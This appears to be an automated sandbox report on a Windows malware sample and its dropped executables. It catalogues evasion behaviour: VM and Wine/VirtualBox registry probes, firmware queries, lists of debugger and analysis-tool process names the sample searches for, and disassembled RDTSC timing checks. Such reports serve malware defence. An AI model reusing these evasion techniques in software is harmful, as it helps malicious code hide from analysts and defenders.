Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1016747001\b55b5c2bf3.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX

Malware Analysis System Evasion

Checks if the current machine is a virtual machine (disk enumeration)

Source: C:\Windows\SysWOW64\svchost.exe

Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI

Found evasive API chain (may stop execution after checking mutex)

Source: C:\Users\user\AppData\Local\Temp\1016723001\DxfmGsU.exe

Evasive API call chain: CreateMutex,DecisionNodes,ExitProcess

graph_6-2301

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Evasive API call chain: GetPEB, DecisionNodes, ExitProcess

graph_1-9688

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\AppData\Local\Temp\1016740001\475e05f959.exe	System information queried: FirmwareTableInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016747001\b55b5c2bf3.exe	System information queried: FirmwareTableInformation
Source: C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe	System information queried: FirmwareTableInformation

Switches to a custom stack to bypass stack traces

Source: C:\Users\user\AppData\Local\Temp\1016746001\0626ec4ce0.exe	API/Special instruction interceptor: Address: 7FFE2220D044
Source: C:\Windows\SysWOW64\svchost.exe	API/Special instruction interceptor: Address: 7FFE2220D044

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016743001\93b1627660.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016743001\93b1627660.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016744001\5d99420dfa.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1016744001\5d99420dfa.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1016746001\0626ec4ce0.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1016746001\0626ec4ce0.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: 93b1627660.exe, 0000000B.00000003.2604862521.00000000071FF000.00000004.00001000.00020000.00000000.sdmp, 5d99420dfa.exe, 0000000C.00000003.2726273308.0000000007805000.00000004.00001000.00020000.00000000.sdmp, 5d99420dfa.exe, 0000000C.00000002.2768047832.0000000000D46000.00000040.00000001.01000000.0000000D.sdmp, svchost.exe, 00000025.00000002.2976973743.0000000003300000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: PROCMON.EXE
Source: svchost.exe, 00000025.00000002.2976973743.0000000003300000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: HOOKEXPLORER.EXE
Source: svchost.exe, 00000025.00000002.2976973743.0000000003300000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OLLYDBG.EXE
Source: 0626ec4ce0.exe, 00000019.00000002.2978677359.0000000000DEC000.00000004.00000001.01000000.00000011.sdmp, 0626ec4ce0.exe, 00000019.00000002.2981565672.0000000003240000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: ORIGINALFILENAMECFF EXPLORER.EXE:
Source: svchost.exe, 00000025.00000002.2976973743.0000000003300000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: EXEIMMUNITYDEBUGGER.EXEWINDUMP.EXEX64DBG.EXEX32DBG.EXEOLLYDBG.EXEP1
Source: 93b1627660.exe, 0000000B.00000003.2604862521.00000000071FF000.00000004.00001000.00020000.00000000.sdmp, 5d99420dfa.exe, 0000000C.00000003.2726273308.0000000007805000.00000004.00001000.00020000.00000000.sdmp, 5d99420dfa.exe, 0000000C.00000002.2768047832.0000000000D46000.00000040.00000001.01000000.0000000D.sdmp, svchost.exe, 00000025.00000002.2976973743.0000000003300000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: X64DBG.EXE
Source: 0626ec4ce0.exe, 00000019.00000002.2978677359.0000000000DEC000.00000004.00000001.01000000.00000011.sdmp, 0626ec4ce0.exe, 00000019.00000002.2981565672.0000000003240000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: INTERNALNAMECFF EXPLORER.EXE
Source: 93b1627660.exe, 0000000B.00000003.2604862521.00000000071FF000.00000004.00001000.00020000.00000000.sdmp, 5d99420dfa.exe, 0000000C.00000003.2726273308.0000000007805000.00000004.00001000.00020000.00000000.sdmp, 5d99420dfa.exe, 0000000C.00000002.2768047832.0000000000D46000.00000040.00000001.01000000.0000000D.sdmp	Binary or memory string: WINDBG.EXE
Source: svchost.exe, 00000025.00000002.2976973743.0000000003300000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ETCPVIEW.EXETCPVIEW64.EXEPROCMON.EXEPROCMON64.EXEVMMAP.EXEVMMAP64.EXEPORTMON.EXEPROCESSLASSO.EXE
Source: svchost.exe, 00000025.00000002.2976973743.0000000003300000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: AUTORUNS.EXE
Source: svchost.exe, 00000025.00000002.2976973743.0000000003300000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: PETOOLS.EXE
Source: svchost.exe, 00000025.00000002.2976973743.0000000003300000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: WINDUMP.EXE
Source: svchost.exe, 00000025.00000002.2976973743.0000000003300000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: IDAQ64.EXEAUTORUNS.EXEDUMPCAP.EXEDE4DOT.EXEHOOKEXPLORER.EXEILSPY.EXELORDPE.EXEDNSPY.EXEPETOOLS.EXEAUTORUNSC.EXO
Source: 5d99420dfa.exe, 0000000C.00000002.2768047832.0000000000D46000.00000040.00000001.01000000.0000000D.sdmp	Binary or memory string: SYSINTERNALSNUM_PROCESSORNUM_RAMNAMEALLFREEDRIVERSNUM_DISPLAYSRESOLUTION_XRESOLUTION_Y\RECENT_FILESPROCESSESUPTIME_MINUTESC:\WINDOWS\SYSTEM32\VBOX.DLL01VBOX_FIRSTSYSTEM\CONTROLSET001\SERVICES\VBOXSFVBOX_SECONDC:\USERS\PUBLIC\PUBLIC_CHECKWINDBG.EXEDBGWIRESHARK.EXEPROCMON.EXEX64DBG.EXEIDA.EXEDBG_SECDBG_THIRDYADROINSTALLED_APPSSOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALLSOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL%D%S\%SDISPLAYNAMEAPP_NAMEINDEXCREATETOOLHELP32SNAPSHOT FAILED.
Source: svchost.exe, 00000025.00000002.2976973743.0000000003300000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: DUMPCAP.EXE
Source: 93b1627660.exe, 0000000B.00000003.2604862521.00000000071FF000.00000004.00001000.00020000.00000000.sdmp, 5d99420dfa.exe, 0000000C.00000003.2726273308.0000000007805000.00000004.00001000.00020000.00000000.sdmp, 5d99420dfa.exe, 0000000C.00000002.2768047832.0000000000D46000.00000040.00000001.01000000.0000000D.sdmp	Binary or memory string: WIRESHARK.EXE

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FEAAE0 second address: FEAAED instructions: 0x00000000 rdtsc 0x00000002 jng 00007F35A9347BA6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FEAAED second address: FEAB2B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F35A91AEEA0h 0x00000009 pop ebx 0x0000000a popad 0x0000000b push esi 0x0000000c push esi 0x0000000d jmp 00007F35A91AEEA9h 0x00000012 push esi 0x00000013 pop esi 0x00000014 pop esi 0x00000015 je 00007F35A91AEE9Eh 0x0000001b pushad 0x0000001c popad 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FFD74A second address: FFD765 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 jmp 00007F35A9347BADh 0x0000000c pushad 0x0000000d push ecx 0x0000000e pop ecx 0x0000000f pushad 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FFDBA4 second address: FFDBB3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F35A91AEE96h 0x0000000a pop edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FFDBB3 second address: FFDBB9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FFDBB9 second address: FFDBBD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FFDBBD second address: FFDBC1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1000263 second address: 1000267 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10002D4 second address: 10002E6 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 pop eax 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c jl 00007F35A9347BA6h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10002E6 second address: 1000325 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 pushad 0x00000008 popad 0x00000009 pop edi 0x0000000a popad 0x0000000b nop 0x0000000c jl 00007F35A91AEEA6h 0x00000012 jmp 00007F35A91AEEA0h 0x00000017 push 00000000h 0x00000019 jno 00007F35A91AEE99h 0x0000001f call 00007F35A91AEE99h 0x00000024 jo 00007F35A91AEE9Eh 0x0000002a push ecx 0x0000002b push eax 0x0000002c push edx 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1000325 second address: 100037B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 jmp 00007F35A9347BADh 0x0000000b mov eax, dword ptr [esp+04h] 0x0000000f pushad 0x00000010 pushad 0x00000011 jmp 00007F35A9347BAAh 0x00000016 pushad 0x00000017 popad 0x00000018 popad 0x00000019 push esi 0x0000001a jmp 00007F35A9347BB2h 0x0000001f pop esi 0x00000020 popad 0x00000021 mov eax, dword ptr [eax] 0x00000023 push eax 0x00000024 push eax 0x00000025 push edx 0x00000026 jmp 00007F35A9347BB6h 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 100037B second address: 1000421 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F35A91AEE96h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop eax 0x0000000b mov dword ptr [esp+04h], eax 0x0000000f jmp 00007F35A91AEEA2h 0x00000014 pop eax 0x00000015 push 00000000h 0x00000017 push eax 0x00000018 call 00007F35A91AEE98h 0x0000001d pop eax 0x0000001e mov dword ptr [esp+04h], eax 0x00000022 add dword ptr [esp+04h], 00000015h 0x0000002a inc eax 0x0000002b push eax 0x0000002c ret 0x0000002d pop eax 0x0000002e ret 0x0000002f mov di, 70A7h 0x00000033 pushad 0x00000034 and cx, 656Eh 0x00000039 mov eax, esi 0x0000003b popad 0x0000003c push 00000003h 0x0000003e or dword ptr [ebp+122D3B82h], eax 0x00000044 push 00000000h 0x00000046 jmp 00007F35A91AEEA3h 0x0000004b push 00000003h 0x0000004d push 00000000h 0x0000004f push ecx 0x00000050 call 00007F35A91AEE98h 0x00000055 pop ecx 0x00000056 mov dword ptr [esp+04h], ecx 0x0000005a add dword ptr [esp+04h], 0000001Bh 0x00000062 inc ecx 0x00000063 push ecx 0x00000064 ret 0x00000065 pop ecx 0x00000066 ret 0x00000067 jg 00007F35A91AEE96h 0x0000006d push 8A8B66FFh 0x00000072 push eax 0x00000073 push edx 0x00000074 jmp 00007F35A91AEE9Bh 0x00000079 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1000421 second address: 1000458 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F35A9347BAFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xor dword ptr [esp], 4A8B66FFh 0x00000010 adc cx, CB55h 0x00000015 lea ebx, dword ptr [ebp+124551D2h] 0x0000001b and si, B550h 0x00000020 mov dword ptr [ebp+122D5A24h], ebx 0x00000026 xchg eax, ebx 0x00000027 push eax 0x00000028 push edx 0x00000029 push edi 0x0000002a push edx 0x0000002b pop edx 0x0000002c pop edi 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1000615 second address: 100061B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10006DA second address: 10006E1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10006E1 second address: 100077C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 add dword ptr [esp], 55DB0DE5h 0x0000000e push 00000000h 0x00000010 push edi 0x00000011 call 00007F35A91AEE98h 0x00000016 pop edi 0x00000017 mov dword ptr [esp+04h], edi 0x0000001b add dword ptr [esp+04h], 0000001Ah 0x00000023 inc edi 0x00000024 push edi 0x00000025 ret 0x00000026 pop edi 0x00000027 ret 0x00000028 mov esi, 765818C7h 0x0000002d push 00000003h 0x0000002f cld 0x00000030 push 00000000h 0x00000032 push 00000003h 0x00000034 mov esi, dword ptr [ebp+122D3455h] 0x0000003a push 8248B7DBh 0x0000003f jmp 00007F35A91AEEA6h 0x00000044 add dword ptr [esp], 3DB74825h 0x0000004b push 00000000h 0x0000004d push ebx 0x0000004e call 00007F35A91AEE98h 0x00000053 pop ebx 0x00000054 mov dword ptr [esp+04h], ebx 0x00000058 add dword ptr [esp+04h], 00000014h 0x00000060 inc ebx 0x00000061 push ebx 0x00000062 ret 0x00000063 pop ebx 0x00000064 ret 0x00000065 movzx edi, ax 0x00000068 lea ebx, dword ptr [ebp+124551E6h] 0x0000006e movzx esi, di 0x00000071 xchg eax, ebx 0x00000072 js 00007F35A91AEEA8h 0x00000078 push eax 0x00000079 push edx 0x0000007a jg 00007F35A91AEE96h 0x00000080 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 100077C second address: 1000780 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1021B01 second address: 1021B1B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F35A91AEEA5h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1021B1B second address: 1021B21 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1021B21 second address: 1021B25 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1021B25 second address: 1021B29 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1021B29 second address: 1021B2F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1021B2F second address: 1021B58 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F35A9347BB5h 0x0000000b pop edx 0x0000000c pop eax 0x0000000d pushad 0x0000000e jp 00007F35A9347BA8h 0x00000014 pushad 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1021B58 second address: 1021B66 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 push eax 0x00000007 pop eax 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b push ecx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101FA07 second address: 101FA1D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edi 0x00000007 pop edi 0x00000008 jno 00007F35A9347BA6h 0x0000000e pop eax 0x0000000f pushad 0x00000010 pushad 0x00000011 popad 0x00000012 pushad 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101FB54 second address: 101FB58 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101FB58 second address: 101FB5C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101FB5C second address: 101FB7C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 jmp 00007F35A91AEEA5h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101FEAF second address: 101FEE0 instructions: 0x00000000 rdtsc 0x00000002 js 00007F35A9347BA6h 0x00000008 jl 00007F35A9347BA6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push ebx 0x00000011 jmp 00007F35A9347BB5h 0x00000016 jc 00007F35A9347BA6h 0x0000001c pop ebx 0x0000001d push eax 0x0000001e push edx 0x0000001f pushad 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101FEE0 second address: 101FEE9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101FEE9 second address: 101FEEF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102003F second address: 102005E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F35A91AEEA7h 0x00000009 popad 0x0000000a push edi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102005E second address: 1020064 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1020477 second address: 1020493 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push edx 0x00000006 jmp 00007F35A91AEEA4h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102073C second address: 1020740 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101427F second address: 101428F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F35A91AEE96h 0x0000000a pop edx 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FEFB55 second address: FEFB5B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FEFB5B second address: FEFB61 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1020C88 second address: 1020C8C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1020C8C second address: 1020C92 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1020C92 second address: 1020CB8 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F35A9347BACh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c je 00007F35A9347BB4h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1020CB8 second address: 1020CF3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F35A91AEEA5h 0x00000008 jmp 00007F35A91AEE9Ah 0x0000000d jmp 00007F35A91AEEA7h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102158A second address: 1021591 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop esi 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1021591 second address: 10215C8 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F35A91AEEA7h 0x00000008 pushad 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b jmp 00007F35A91AEEA7h 0x00000010 push eax 0x00000011 pop eax 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1023D8E second address: 1023D92 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102C0F0 second address: 102C102 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F35A91AEE9Dh 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102C102 second address: 102C10E instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F35A9347BAEh 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
